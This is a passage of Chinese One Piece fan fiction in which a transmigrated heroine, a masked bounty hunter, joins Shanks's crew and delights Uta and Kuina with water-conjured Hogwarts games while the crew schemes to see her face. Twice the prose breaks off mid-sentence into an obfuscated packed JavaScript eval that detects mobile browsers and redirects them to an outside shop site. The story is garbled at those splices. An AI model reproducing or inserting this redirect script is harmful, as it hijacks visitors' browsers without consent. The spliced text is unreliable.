香克斯托着腮，视线放在鱼钩附近的水面上，闻言笑道：“小乌塔本来就是个乖孩子啊！” 莱姆琼斯擦着手里的长棍武器，上面隐隐有电光缠绕，“乌塔乖是一回事儿，但我已经有些不耐烦了，就算没有岛屿，随便来伙儿海贼或者海军什么的让我练练手也行啊……猛士达无聊的毛都不亮了。” 正趴在本克·宾治腿上享受着梳毛服务的猛士达：“……” “吱吱吱！吱吱！！” 宾治赶紧安抚自己家跳起来的猴子搭档：“咱们不跟混蛋计较，不跟混蛋计较哈！” “吱吱吱！吱吱！！吱吱吱吱！！！” “嗨、嗨、嗨……” 宾治无奈地看向莱姆琼斯：“猛士达说它的毛亮得很，让你别仗着它不会说话就欺负猴儿。” “哈?”莱姆琼斯脸上挂着坏笑，闲得故意挑事儿，连船上的猴儿都不放过，“猛士达，你不要自欺欺猴儿啊，低头看看吧，你身上的毛梢都……”分叉了。 “喂！” 航海士本迪克·斯内克从瞭望台上探出头来，打断了这场即将爆发的人猴大战，“你们这群无所事事的混蛋！远处海面上有东西过来了，警戒警戒！” “哦！！！！” 一群海贼立马支愣起来，抽枪的抽枪，拔刀的拔刀，欣喜之情溢于言表，“是海贼吧！” “也有可能是海军啊！” “管他是谁！总算有乐子送上门了！” 乌塔拿着望远镜看过去，十分惊讶：“那个人居然可以在海面上走路哎！” “纳尼——?！” 刚才还气势汹汹的众海贼立马破功，一哄而上挤在乌塔身边，差点把船舷边上的香克斯和耶稣布撞进海里。 香克斯捂着头上差点被撞飞的草帽：“喂！” 耶稣布鲨鱼齿：“你们这群混蛋看人啊！” 但并没有人搭理他们两个，海贼们双眼放光地盯着远处的海面：“是海上战士索拉啊！” 拉奇·路啃着手上的棒骨肉，迟疑：“索拉的话……身边不是会跟着海鸥吗?” “Emmm……”乌塔用望远镜继续观察了一会儿，然后肯定点头：“呦西，他身边有跟着海鸥哦！” 众海贼：“肯定是索拉啊！！！！” (刚好遇上新闻鸟就顺手买了份报纸的奥西娅：?) “噗嗤……”香克斯压低帽檐憋笑。 稳重的副船长本·贝克曼：“……” 有时候是真的很为船上的这群笨蛋感到绝望……特别是还有个看热闹不嫌事大的白痴船长，有时候，他都分不清这混蛋是天然呆还是天然黑。 耶稣布也跟着看过去，神枪手的视力让他看得比望远镜还清楚，语气里带着点子幸灾乐祸，“什么啊，不是站在水面上，他脚下踩了根竹竿而已。” “唉——?！！！！” 众海贼失望，众海贼不满，众海贼埋怨。 “耶稣布怎么这样?” “不就是不小心差点把你撞进海里吗?身为男人就要大度一点啊……” “打破男人的浪漫什么的，可真是罪大恶极啊，耶稣布！” 耶稣布：? “大度?老子把你们挨个踹进海里试试?” “……” 众海贼心虚地吹口哨。 “而且跟我有什么关系啊！你们这群混蛋都清醒一点吧，又不是我家三岁的儿子，居然还会相信索拉那种东西。” 众海贼大声反驳：“索拉才不是东西！” 众海贼：唉? Emmm……好像有哪里不对? “啧。”贝克曼打断他们没有营养的白痴对话，朝耶稣布抬抬下巴：“继续。” ……在这艘船上，他们不怵嬉皮笑脸的香克斯，但一定很怵面无表情的副船长。 众海贼紧急闭麦，耶稣布赶忙继续：“看上去是个身材瘦小的男人，黑头发，高马尾，癖好很奇怪啊……上衣下裙，又是个爱穿裙子的男人啊。” (白胡子海贼团十六番队队长以藏：啊啾！) “脸上带着鬼面面具，身边跟着个同样带面具的小孩。” 有人忍不住哔哔：“什么小孩啊，明明是跟在索拉身边的机器人吧?” “都说了不是索拉，给我仔细听人说话啊混蛋！” 贝克曼熟练地忽视笨蛋们又开始的争吵，从脑子里翻出最近的情报，“如果是那副打扮的话，那个男人应该就是最近在伟大航路上声名鹊起的海贼猎人鬼面了。” “……” 众海贼嬉笑打闹的声音一顿，然后爆发出更加激烈的哄笑。 “海贼猎人?那就是来抓我们的咯?” “说起来好久都没碰上这种头铁不长眼的家伙了吧?” “就是！我们可是红发海贼团啊！” 贝克曼叼着烟随口提醒：“别轻敌。” 他语气散漫，心里也不见得有多重视，只是尽职提醒一下而已……船上的笨蛋们平日里看着没谱，但其实心里都有一杆秤。 以红发海贼团现在的实力，孤身一人就敢来砸场子，未免也太不知所谓了。 “呆胶布~呆胶布~要是真打不过，就把头儿送给他好了，谁让头儿赏金最高呢！” “哈哈哈哈哈哈哈——！” “……我可是船长啊！你们这群混蛋！！” “是时候轮到你为大家伙儿做贡献了，船~长~” 小乌塔不满：“喂！香克斯才不会被打败呢！他是最强的！” “哦哦哦~小乌塔已经学会保护香克斯了嘛，斯国一！” “我感动的眼泪都要下来了，真想我儿子啊！” “……你这家伙根本没儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“有时候是非善恶的界限是很难区分的，大多是立场不同的问题。” 对上小姑娘写着“好复杂不明白”的眼睛，奥西娅揉揉她的头，“没关系，老师会慢慢教给你的。” 说罢，她揽住古伊娜，身姿轻盈地往前一跃，足尖轻点海面，裙摆翻飞，像一只燕子似的落在了雷德·佛斯号的红色龙头上。 甲板上，海贼们已经摆好了战斗的姿势，神色不善地盯着船头上的不速之客。 两方对立，气氛越来越焦灼，空气都要凝固住了。 “你是来取我项上人头的嘛，鬼面?” 说话的男人被众海贼簇拥在最深处，其他人像是“人”字型雁阵的两翼，拱卫着最深处的头雁。 明明说着不算友善的话，语气却带着轻松的笑意。 压低的草帽帽檐遮住了对方的大半面容，奥西娅只能看到他上扬的唇角、线条分明的下巴和几缕随风飘起的红发。 是香克斯…… 奥西娅不由自主地抬手按在左胸口，好不容易才压制住的心跳再次欢欣鼓舞起来了……就要从胸腔里跳出来了。 “……” “唉?怎么不说话?哈哈哈好高冷啊！” 香克斯把帽檐抬高，露出一张带着明快笑容的俊朗面庞，唇边和下巴上带着短短的胡茬，左眼位置的三道疤极其惹眼。 奥西娅想好好说话，嗓子却有点发紧：“……不是的。” “唉?”香克斯歪头，红色的发丝随着他的动作轻晃。 他稍微有点头疼，这个鬼面说话怎么跟蚊子嗡嗡一样，声音好小，不用点见闻色都怕听漏了。 心里这么想着，但香克斯并没有说出来，只是用一双眼睛看着对方，安静地等待下文。 被香克斯盯着的奥西娅：“……” 怎么办怎么办怎么办怎么办怎么办怎么办怎么办…… 好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢…… 她感觉自己面具下的面颊在发烫，声音也发着颤，刻意压低的嗓声显得雌雄莫辨：“……我们并没有恶意。” “只是之前乘坐的小船在旅行途中被风浪毁掉了，所以想来询问一下可、可不可以载我们一程?” 香克斯没有回答，继续看着她。 “那个、那个、那个、我、我们会……”付报酬的。 “这样啊，那就只能载你们一程了！” 没说完的话被对方打断，男人脸上的笑容似乎更加灿烂了，他大笑出声：“不是敌人，兄弟们警戒解除！开宴会咯！”！ “哦——！！！！” 6. 第 6 章 (一) 开宴会这件事显然是红发海贼团的某种团队文化。 不管大事小事，有事没事，只要是不是坏事，就一并开宴会处理！ 海贼们把烧烤架搬了出来，拉奇·路正在那里手脚麻利地烤肉，周围的海贼们拼酒的拼酒、唱歌的唱歌，还有彼此互相搭着肩像四小天鹅那样跳舞的。 在海面上长大的孩子好不容易遇上了年龄相仿的小伙伴，乌塔对古伊娜一见如故，拉着她叽叽喳喳地讲着红发海贼团的冒险故事。 古伊娜虽然没有乌塔那么感情外露，但到底只是七岁的小孩子，很快就被小乌塔带的活泼起来。 征得奥西娅的同意后，古伊娜摘下脸上面具，斜挂在了乌塔的头上。 乌塔愣了一下，漂亮的紫色眼睛里闪着光，她手忙脚乱地把自己的耳机摘下来挂在了古伊娜的脖子上，脸上露出大大的笑容。 路怕聊个不停的小姑娘们会口渴，还特意鲜榨了橘子汁端给她们。 奥西娅的视线不由自主地看向两个孩子……她已经知道了，那个叫乌塔的小姑娘是香克斯的女儿。 小姑娘头发一半红一半白，眼睛是紫罗兰的颜色，晶莹剔透，漂亮的很……所以，如果香克斯和他老婆之间没什么绿/帽问题的话，那他的妻子应该是个白头紫眸的大美女。 奥西娅说不上自己心里现在是个什么滋味，空落落的……她有些嘲弄地想，自己穿越后的那几年里《海贼王》的剧情发展的那么快吗？ 香克斯都结婚生女了。 那可是香克斯啊……奥西娅身上的怨气都快要催生出咒灵了。 香克斯，奥西娅上上辈子最爱的二次元男神，以断层之势超过银时、鸣人、佐助、卡卡西、蝎、五条悟、夏油杰，登顶她最想要拥抱的男人(?)排行榜NO.1的香克斯啊…… 她甚至在家里做了个整面墙的巨大置物柜，专门用来收集香克斯的各种手办和周边。 但是现在……呜呜呜，家人们，我塌房了！我喜欢的人结婚了，孩子都五岁了！ 艾斯今年才六岁呢，算算时间，那不就是香克斯十八岁的时候就……唔、住脑！住脑！住脑！这种事越深想越难受，奥西娅心痛到无以复加。 要是还能穿回去，她一定要把那些手办和周边都烧了！ 通通烧掉！！！ 奥西娅：由爱生恨jpg. 一杯酒突然被递到奥西娅面前，她看过去，对上了香克斯带着笑意的眼睛。 奥西娅赶紧双手接过：“谢、谢谢……” 奥西娅：乖巧且害羞jpg. 奥西娅：…… 好恨这个没出息的自己！ 香克斯当然不知道奥西娅心里想了些什么乱七八糟的，把她的肩膀拍的啪啪作响，“哈哈哈不要这么拘谨啊，鬼面！参加海贼的宴会，只要开心就好了！” 被拍的生疼的奥西娅：“……” “好、好的……” 香克斯笑了笑，然后就去跟其他人把酒言欢了。 奥西娅松了一口气，心里又隐隐感到失落。 其他海贼倒是对这个最近在伟大航路声名鹊起的海贼猎人很感兴趣。 耶稣布端着酒跟奥西娅碰了一下：“说起来，鬼面你为什么会去当海贼猎人啊?” “……唉?” 听到这个称呼，她的语气听起来似乎比耶稣布还要疑惑，十分真诚地反问：“我算是海贼猎人吗？” 耶稣布：“……” 听着他们聊天的其他海贼：“……” 奥西娅认认真真地解释：“我本人倒是没有从事海贼猎人这份职业的想法。” “最开始，只是因为我不小心把身上的贝利都花光了，只好抓捕一些海贼送到海军那里换赏金来维持生计。” “而且，我抓的都是一些坏家伙，他们有的欺压弱小，有的拐卖妇女，有的抢劫老人，总之就是一些活该遭到制裁的坏东西。” “……” 众海贼：“你这样完全就是海贼猎人了啊！！！” “唉——?是这嘛?” “当然是啦！！！” 奥西娅：“好吧，斯密马赛。” 众海贼再次：“你完全不需要因为这种事情道歉吧?！！！！” 被他们一闹，奥西娅刚才还郁闷的心情一扫而空，面具后面传来清浅的笑声。 “啧。”莱姆琼斯咋舌：“你这笑声也太不爷们了吧?” 奥西娅：“……” “那个，我其实不是……”爷们。 “森塞！” 古伊娜牵着乌塔跑过来，打断了奥西娅的话。 “我跟乌塔说了御剑飞行的事，她特别想试一下，可以吗，森塞?” 古伊娜的语气十分激动，甚至有点手舞足蹈。 她素来是个要强的小姑娘，平日里跟个小大人似的，从来不跟奥西娅提什么要求，这还是奥西娅第一见她这么开心的模样。 奥西娅故意拉长语调：“这个啊——” 两个小孩的眼睛亮晶晶的，期待地望着她，让奥西娅想起了家里的三个孩子，心头变得发软发酸……呜呜呜，艾斯、萨博、路飞，妈妈好想你们啊，呜呜呜你们的养父预备役无了啊呜呜呜！ 奥西娅在心里轻叹，不再逗弄她们，声音放的很温柔：“当然可以啦！” 乌塔脑后像兔耳朵似的两个小辫子一下支愣起来，从垂耳兔兔变成了竖耳兔兔…… 好可爱！奥西娅感觉自己一下子就被击中了！ 已婚男人香克斯退退退！不要影响她跟可爱的小兔叽贴贴！ 奥西娅拍拍马面裙上不存在的灰尘，起身弯腰凑近两个小孩，压低声音显得很神秘的样子：“不过比起御剑，其实还有更有意思的东西哦~” 乌塔也不自觉地跟着压低声音，小小声：“四、四什么？” 卡哇伊……面具后的奥西娅笑得眉眼弯弯。 嗯，小朋友缺牙巴的时候说话漏风很正常，真的好可爱呀。 家里萨博被艾斯和路飞给惹急了气到骂人的时候也会说话漏风呢。 乌塔可爱，萨博可爱，艾斯可爱，路飞可爱，古伊娜可爱，索隆也很可爱！ 这些孩子们都很可爱！ “是飞天扫帚哦。” 奥西娅单手做了个抓握的动作，本来还靠在墙壁上的扫帚就“嗖”的一下子飞到了她手里 。 乌塔和古伊娜双眼放光：“斯国一——！” 奥西娅松开扫帚，让它横浮在半空中，然后俯身朝两个小姑娘做了个西方王子的礼节，“请问我有荣幸邀请两位美丽的小小姐前往霍格沃兹吗？” (二) 两个小姑娘不知道什么是霍格沃兹，但温柔的“鬼面王子”实在有魅力，都红着脸乖乖让奥西娅抱到了“飞天扫帚”上。 耶稣布看得牙酸，胳膊肘捅捅旁边的贝克曼：“我本来以为在哄女人这条赛道上你已经算是无敌了，可这一次你完全输了啊，副船长！” “……” 贝克曼轻咬烟嘴，抬眸、轻飘飘地看向他：“嗯?” 耶稣布秒怂：“不、什么都没有……我刚才有说什么吗？” 莱姆琼斯扭过头来嘲笑他：“出息。” 耶稣布点头，面无表情地捧读：“行啊，那下一次让我来见识见识你对抗副船长的英~姿~吧~” “……” 莱姆琼斯又把头扭了回去。 ‘英姿吧’三个字让他念的跟‘安息吧’一个调调。 …… 奥西娅打了个响指，海面上拔地而起一座巨大的水城堡，在月光下波光粼粼的闪着细碎的光。 她指着水城堡，对两个小姑娘笑道：“那是一个叫做霍格沃兹的魔法学院。” 下一秒，飞天扫帚载着两个小姑娘缓缓升空，然后猛地冲了过去，在城堡的塔楼间穿梭，朝着最高的塔顶处螺旋攀升。 海面上传来小姑娘们的尖叫和大笑：“啊啊啊啊——！哈哈哈哈哈哈斯国一！” 原本在吃喝打闹的海贼们也渐渐聚到了靠近水城堡的船舷旁。 “这是个神奇的魔法世界，有强大的魔法师和各种神奇的魔法生物，猫头鹰、独角兽、地精、马人、人鱼、鸟蛇、龙、阿拉戈克(八眼蜘蛛)……” 随着奥西娅的讲述，各种由海水凝聚而成的魔法生物从城堡里冲出来，朝古伊娜和乌塔扑了过去…… “啊啊啊啊啊——!” 俩孩子发出惊天的尖叫，但发现它们根本追不上飞天扫帚后，尖叫又变成了哈哈大笑：“斯国一——！” 长着犄角的独角兽、八只眼睛的大蜘蛛、长着翅膀的蛇形生物……接二连三地出现在小魔法师们登顶的必经之路上。 “哎呀，这可要怎么办呢？”她用带着笑意的声音讲着故事，“想要成为最厉害的魔法师就不能一味地逃避和退缩啊！” 两道细长的水流出现在两个小姑娘身边，她们好奇地伸手抓住，水流一下子变成了两根冰色的魔法棒。 古伊娜&乌塔：！！！！ 斯国一！不管多少次都要说，森塞/鬼面桑斯国一！！！！ 飞天扫帚渐渐停住，载着两个小姑娘悬浮在半空，紧追不舍的怪物们立马加速朝她们扑了过去…… 船舷边上看戏的海贼们纷纷呐喊助威，“上啊小乌塔！别怕！把那个八眼的大蜘蛛揍飞！” “古伊娜！就像挥剑那样把你手里的小木……呃，水棍挥动起来砍了它们！没什么可怕的！” “挥拳！乌塔就像我教过你的一样！举起双手，砰砰朝那个长着人脑袋的马东西挥拳……啊！痛痛痛！” 说这句话的人立刻被其他海贼揍得满头大包，“八嘎！乌塔要是两只手都松开的话会从扫帚上掉下来的！” “乌塔，听我的，用你手里的那根小棍子抡它！” 奥西娅：“……” 不，魔法棒完全不是你们说的那种用法。 见小姑娘们被忽悠的似乎真打算把魔法棒当大锤抡，奥西娅赶紧出声提醒：“作为拥有魔法的小魔法师，面对怪物的时候，只需要喊出那个最强大的攻击魔咒——瑞德克透(粉身碎骨)！” 乌塔和古伊娜立刻挥动手里的魔棒：“瑞德克透——！” 平地起风，已经扑到她们头顶的怪物瞬间被秒成水花。“啪——”的一声过后，四散的水珠纷纷扬扬落下，像是下起了水晶碎雨，在月光下折射出奇异缤纷的光彩。 “好漂亮……” 小姑娘们忍不住伸手去接那些落下的“光点”，落在手上就变成了冰冰凉凉的水滴，她们忍不住笑起来，“斯国一！” “真的斯国一！！” “超级斯国一！！！” (三) 不只两个小姑娘觉得“斯国一”，其他海贼也觉得非常“斯国一”！ 贝克曼缓缓呼出一口香烟，“真是神奇的能力啊。” 其他海贼：“我也想在魔法城堡里战斗！” “我也我也！伟大航路肯定有这种岛屿的吧?叫……什么获得鸽子的魔法大城堡！超有意思啊哈哈！” “喂喂！斯内克！带我们去吧！去获得鸽子！” 斯内克：“首先，是霍格沃兹，不是获得鸽子。其次，去不去这件事情我说了不算，你们去问头儿啊。” “哦对对对！头儿！咱们下一站就去获得鸽子……唉?头儿呢？” 斯内克：“是霍格沃兹。” “对啊？头儿呢?他跑哪去了？刚才还在这儿呢！” 被无视的斯内克：“……” “谁去把他找出来，让他带咱们去获得鸽子！” “哦！！！！” 斯内克：“……啧。” 贝克曼安慰地拍了拍他的肩膀。 算了，跟一群笨蛋计较什么呢。 仓库里突然传来一阵噼里啪啦的响动。 贝克曼背后一凉，不好，这种预感是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097914|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 下一秒，被一众船员寻找的香克斯就拎着一个全新的扫帚从仓库里冲了出来！ ……啊，贝克曼面无表情，有一种果然如此的感觉，自己身上那个名为“白痴船长又要犯蠢丢人了”的“见闻色”从来不会出错。 “喂！鬼面！” 香克斯拎着扫帚跳到船舷的栏杆上，笑嘻嘻地喊她，奥西娅刚看了过去，他就朝着大海纵身一跃！ 奥西娅：！！！！ 她什么都来不及想，扒住船舷栏杆猛地探出去大半个身子，抬手将法力注入到香克斯手上的扫帚里。 香克斯的指尖已经触碰到海面了，千钧一发之际，他手里的扫帚带着他冲天而起！ “哇哦——！” 香克斯一手抓着扫帚，一手按住快要被夜风刮走的草帽，一个翻身就跨坐到了还在飞速上冲的飞天扫帚上，“哈哈哈哈哈——！斯国一——！” 奥西娅的腿还有点软，香克斯那个大笨蛋！！！！ 那一瞬间她什么都没想，没想起这里是OP世界，没想起红发香克斯就算掉进海里也不会有什么危险…… 她只知道一件事——她喜欢的人当着她的面跳海了啊！！！！ Emmm……曾经喜欢的人……没错！必须是曾经喜欢的人！ 呜呜呜可恶，尾田你好狠的心啊！居然让我男神已婚已育！ 奥西娅刚才没控制住，给得法力太多，这导致香克斯的扫帚载着他一路风驰电掣，“嗖”的一下就超过了乌塔和古伊娜，赶在她们之前成功登顶了最高处。 乌塔和古伊娜一脸懵：? 众海贼也是一脸懵：！ “可恶！太狡猾了吧头儿！” 有人急匆匆地冲到仓库里去翻，“岂可修！船上只有头儿手里那把备用扫帚了！” “啊！居然被抢先了！反应真快！不愧是头儿！太帅了！” 其他海贼：“喂！你这家伙是那边的啊?！！！！” 香克斯骑着扫帚停在城堡顶端，朝下面的乌塔和古伊娜挥挥手：“你们好慢啊~看来我才是世界第一魔法师哦~~~~” 听这荡漾的尾调就知道他现在一定得意的不得了~ 古伊娜：“……” 幼稚的大人什么的……最讨厌了！ 乌塔气得腮帮子鼓鼓：“太可恶啦香克斯！” 香克斯猖狂大笑。 奥西娅：“……” 她现在一点都不想看到香克斯那个大笨蛋那么嚣张。 “其实，在这座魔法城堡里，还有一只强大的守护神兽，凤凰。”她面无表情地捧读。 贝克曼似乎预感到了什么，他把嘴里未燃尽的香烟拿下来夹在指间。 下一秒，橙红色的火焰从香烟的顶端喷涌而出，以迅雷不及掩耳之势冲到了香克斯身后，张开成一双巨大的火焰双翼！翅膀上的火焰和城堡顶端的夜风剐蹭摩擦，发出类似于鸟叫的嘶鸣。 香克斯：? 奥西娅微笑：“上吧，小魔法师们！接下来的任务是击败凤凰！！” 凤凰·香克斯：? 终于骑着扫帚赶到塔顶的古伊娜和乌塔相视一笑，同时挥动手里的魔法棒：“瑞德克透——！” 凤凰·香克斯：！ 海面上窜出数道水流朝香克斯扑去，他赶紧骑着扫帚战略性撤退：“喂喂！你们是不是玩不起?” “手下留情啊你们两个小鬼！” “哈哈哈打不到！根本打不到！” (四) 虽然天上很热闹，但船上也不安静。 一众海贼呆呆地盯着贝克曼：“……” “刚刚我没瞎吧?副船长他是不是喷火了?” “怎么可能！副船长又没吃烧烧果实！” “难道我真的瞎了?” “不……因为我也看到了！副船长他真的喷火了！” 贝克曼：“……” 你们是真的瞎吧?看不见鬼面的小动作吗？ 贝克曼三言两语解释完，一群海贼的眼睛反而更亮了，“所以，我也可以像贝克曼那样喷火吗?！” 解释了个寂寞的贝克曼：“……” 累了。 一群人扑过去扒在贝克曼身上，远远看着就像是一群猴子扒住了一颗挺拔的小白杨。 “给我烟给我烟给我烟吧贝克曼！” “我也想喷火，求求你了~副船长SAMA~” “我只要一支就一支！” 贝克曼：真·满身大汉jpg. “啧，下去。” 其他人：“不嘛~不嘛~拜托了，副船长SAMA~” 贝克曼：“……” 最后，包括真·猴子猛士达在内的一众海贼都从贝克曼手里分到了一支烟，以及头上新鲜出炉的鲜亮大包。 耶稣布头顶大包，一脸深沉地把香烟叼在嘴里：“虽然手上放火这件事是很帅啦……” 莱姆琼斯顶着同款大包叼烟点头：“但果然还是……” 包包·路咬了咬烟嘴：“嘴里喷火更符合男人的浪漫啊！！” 斯内克、宾治、猛士达、本乡等一众海贼头顶包包配合点头，然后同款深沉的把烟叼在嘴里，在船舷边上排成一溜……“我们准备好了！” 贝克曼把空了的香烟纸盒攥成一团，唇角扬起一抹凶狠的笑意，“船要是烧到了一点，就把你们都丢进海里喂鱼。” 其他海贼异口同声：“嗨~副船长SAMA~~~~” 贝克曼：“……” 真的会被这群笨蛋蠢到没脾气。 奥西娅：“……” 不是很懂你们男人的浪漫。 虽然不懂，但奥西娅还是打了个响指，然后众海贼嘴里的香烟通通喷火啦！ 叼着烟的众海贼：“唔唔唔——！！！” (翻译：斯国一——！！！) 这一天，在海上无聊了很久的红发海贼团都玩的很开心呢~ 7. 第 7 章 (一) 奥西娅上船后的第三天，香克斯和一众海贼在小乌塔那里彻底失宠了，人家现在每天都缠在鬼面身边，根本不跟他们玩。 “月亮桑，今天可以做昨天的那种糖葫芦吗？” (路咬小手绢：是我做的不好吃吗？我可是专业厨子！！！) “月亮桑月亮桑~古伊娜去练剑了，不能陪我玩，你可以陪我嘛?呐，这个花绳是本乡新给我编的哦~跟我的头发一个颜色！” (香克斯咬小手绢：以前小乌塔都是缠着我陪她玩的！！！) “月亮桑！唱小跳蛙吧！快乐池塘栽种了梦想就变成海洋~鼓的眼睛大嘴巴同样唱的响亮~借我一双小翅膀就能飞向太阳~我相信奇迹就在身上！” 奥西娅放下正在写的航海日志，笑着带她在甲板上转圈圈跳舞，“啦啦啦啦啦~有你相伴 leap frog~自信成长有你相伴 leap frog~快乐的一只小青蛙 leap frog~” “快乐的池塘里面有只小青蛙~它跳起舞来就像被王子附体了~酷酷的眼神没有哪只青蛙能比美~总有一天它会被公主唤醒了~” “啦啦啦啦啦~它是一只小跳蛙越过蓝色大海洋~跳到遥远的东方跳到我们身旁~春夏秋冬我们是最好的伙伴~亲吻它就会变得不一样~啦啦啦啦啦~” (宾治咬小手绢：啦啦啦啦啦~呜呜呜……以前都是我给小乌塔唱歌的！而且不只小乌塔，猛士达也被齐天大圣夺走了啊！！！) “月亮桑，我和古伊娜、哦！还有猛士达！我们今天晚上还想听齐天大圣的故事，可不可以呀?孙悟空三打白骨精！嚯嚯哈嘿！” “吱吱吱！吱吱~” 猛士达最近一直保持腰围虎皮裙、头戴金项圈(香克斯从之前抢到的宝箱里给它翻出来的)的打扮，挥舞着擀面杖做的“金箍棒”，高兴地手舞足蹈，它终于找到自己猴生的奋斗目标啦！ 然后被莱姆琼斯嘲笑为围着虎纹短裙的性感母猴儿……嗯，莱姆琼斯现在每天都得去医疗室找本乡给他脸上的爪印子上药。 倒不是莱姆琼斯恢复速度慢，是猛士达每天都要挠他一回。 做人，就是得为自己的嘴欠付出代价啊…… 对此，猛男·猛士达表示：吱吱吱！吱吱吱吱！ (猛士达专用翻译官·宾治：侮辱我可以！不许侮辱我家爱豆！) (二) 甲板上，奥西娅正带着两个小姑娘和猛士达一起跳皮筋。 阴暗的角落里，几道幽怨的视线正盯在她们身上……顺着这几道视线追溯源头，赫然是扒着餐厅窗户“偷窥”的香克斯等人。 香克斯：“……明明我才是小乌塔的爸爸吧?为什么现在她每天都缠着鬼面?” 宾治猛男落泪：“呜呜呜，猛士达已经超过两小时没扒在我身上了……呜呜呜头儿，这个世界是不是快要毁灭了啊?” 破防·路：“明明我做的食物更好吃吧?是吧是吧?为什么小乌塔说我做不出鬼面的那种味道?！” “我不信我不信我不信我不信我不信我不信我不信！我不信这片大海上有什么味道是我拉奇·路做不出来的！！” 莱姆琼斯坐在他们身后的吧台高脚凳上，捧着手里的小镜子顾影自怜……猛士达那家伙下手也太狠了，他这张英俊潇洒的帅比脸啊。 听着他们充满怨气的碎碎念，莱姆琼斯非常无语：“我说，你们三个没事吧?” “头儿你是男妈妈嘛?孩子长大了，有自己的小伙伴不是很正常吗！你现在就这样，以后小乌塔谈恋爱了怎么办?” 香克斯：“……” 老父亲整个人都碎掉了。 尽职尽责的船医本乡叹气，蹲在地上把他一块一块的拼回去。 “还有，宾治你的猴子重度依赖症也该戒戒了吧?就离谱！” “还有路，你……”莱姆琼斯到嘴边的吐槽又重新咽了回去，倒不是他良心发现，就是突然想起来路这家伙是船上的厨子。 雷德·佛斯号上有三个绝对不能得罪的人。 第一个，副船长本·贝克曼。 为什么不能得罪他大家都非常清楚。 第二个，船医本乡。 得罪医生，嫌命长吗？ 第三个，厨子拉奇·路。 除非你想吃到屎一样的东西。 ……至于船长? 莱姆琼斯表示：那是什么东西?是指船上从来不听人说话的家伙吗? 碎了的香克斯被拼好后从地上挣扎着爬起来，他看向吧台边坐着擦枪的贝克曼，“贝克，难道你没有一点危机感吗？” 贝克曼抬头：“哈?” 香克斯手舞足蹈地解释：“贝克！以前可都是你帮乌塔扎头发的啊！自从鬼面那家伙上船以后，乌塔已经多久没来找过你了？你心里没数吗！” “啧。”贝克曼用一种“你是智障吗”的眼神看他，“不是你让鬼面上船的吗？” “……” 香克斯的眼睛和嘴巴撇向另一边，吹口哨。 贝克曼：“……” 白痴船长。 贝克曼懒得搭理他，低头继续擦拭自己的爱枪。 “说起来……”耶稣布好奇：“你们有人知道那家伙的名字嘛?” “别说名字……”莱姆琼斯把小镜子收进口袋里，“那家伙连脸都没露过一次吧?” 他们一起看向香克斯。 香克斯摊手：“我也不知道啊。小乌塔倒是知道他的名字，但不肯告诉我，说这是她跟鬼面的约定。” “……” “……” 其他人得出结论：“头儿果然还是失宠了吧?” “对啊，以前乌塔从来都不瞒着他，现在都有自己的小秘密了呢。” “可怜的老父亲很明显是被女儿排挤了啊。” 香克斯：? 他双臂环在胸前，支愣起架势，“你们不要太过分，我可是船长！” 其他人：“哦。然后呢？” 香克斯哽住。 大家的话题越过他继续。 “还约~定~呢~”耶稣布阴阳怪气：“鬼面那家伙比那个谁还会哄女人。” 莱姆琼斯：“上船前肯定跟那个谁一样，都是花花公子。” 香克斯深以为然：“确实跟那个谁一样。” 他们三个一边大声蛐蛐，一边自以为足够隐晦地看向贝克曼。 那个谁·贝克曼：“……” 当他瞎吗？ “啧，我说你们三个……” 贝克曼刚看过去，三个人就立马把视线和嘴巴撇向另一边，心虚地吹口哨。 梅开二度。 贝克曼：“……” 贝克曼真是什么脾气都没了，起身离开了餐厅。 船上正经管事儿的大家长一走，“熊孩子”们立刻都支愣起来了。 耶稣布朝他们挤眉弄眼：“喂，你们难道不好奇那张面具下是张什么样的脸吗？” 乐子人莱姆琼斯举手：“不管接下来有什么计划，都请算上我一个。” 耶稣布邀请：“路、宾治和本乡也一起来吧！” “不要。”路和本乡同时拒绝，“让贝克曼知道了会被打成猪头的。” 说完，俩人一起离开了餐厅。 “我去厨房准备晚饭。” “我也回医疗室整理药材了，你们悠着点儿吧，这艘船上还没人能瞒着副船长干坏事。” 宾治迟疑：“那我也……”不参与了。 耶稣布和莱姆琼斯立马揽着他的肩膀往外走，“走吧走吧，难道你不想夺回猛士达吗？” “怕什么?这不是还有头儿在嘛！” “对啊！头儿可是船长，到时候肯定会替我们挡在贝克曼前面的吧！一定会的吧，船长?” 对上他们期待的眼神，香克斯挠着后脑勺但笑不语：“哈哈哈哈哈哈！” 耶稣布&莱姆琼斯&宾治：“……” 可恶，这个天然黑船长绝对在想，被贝克曼逮到后怎么把大部分的仇恨值甩到他们身上然后自己跑路吧！ (三) 四人组藏在甲板上堆着的木箱后面，暗中观察不远处正在陪乌塔她们玩闹的鬼面。 耶稣布松开扒着木箱的手，回头问香克斯，“咱们第一步做什么？” “嗯?” 香克斯看起来似乎一头雾水的样子：“什么第一步?” “……” 耶稣布看着香克斯。 香克斯更加无辜地看回去。 “……”耶稣布心中的不妙值疯狂UP，“你是头儿，肯定由你来制定计划步骤啊！” 香克斯脸上的笑容阳光又真诚：“唉?这次行动不是耶稣布你提议的吗？” 只要锅不甩到自己身上就万事大吉的莱姆琼斯立刻附和，确保头号大黑锅能牢牢扣死在耶稣布头上，“对啊，耶稣布你才是主导人吧。” 耶稣布：“……” 他的视线看向四个人里最后的良心。 最后的良心·宾治默默移开视线。 耶稣布：“……” 耶稣布朝他们比出中指。 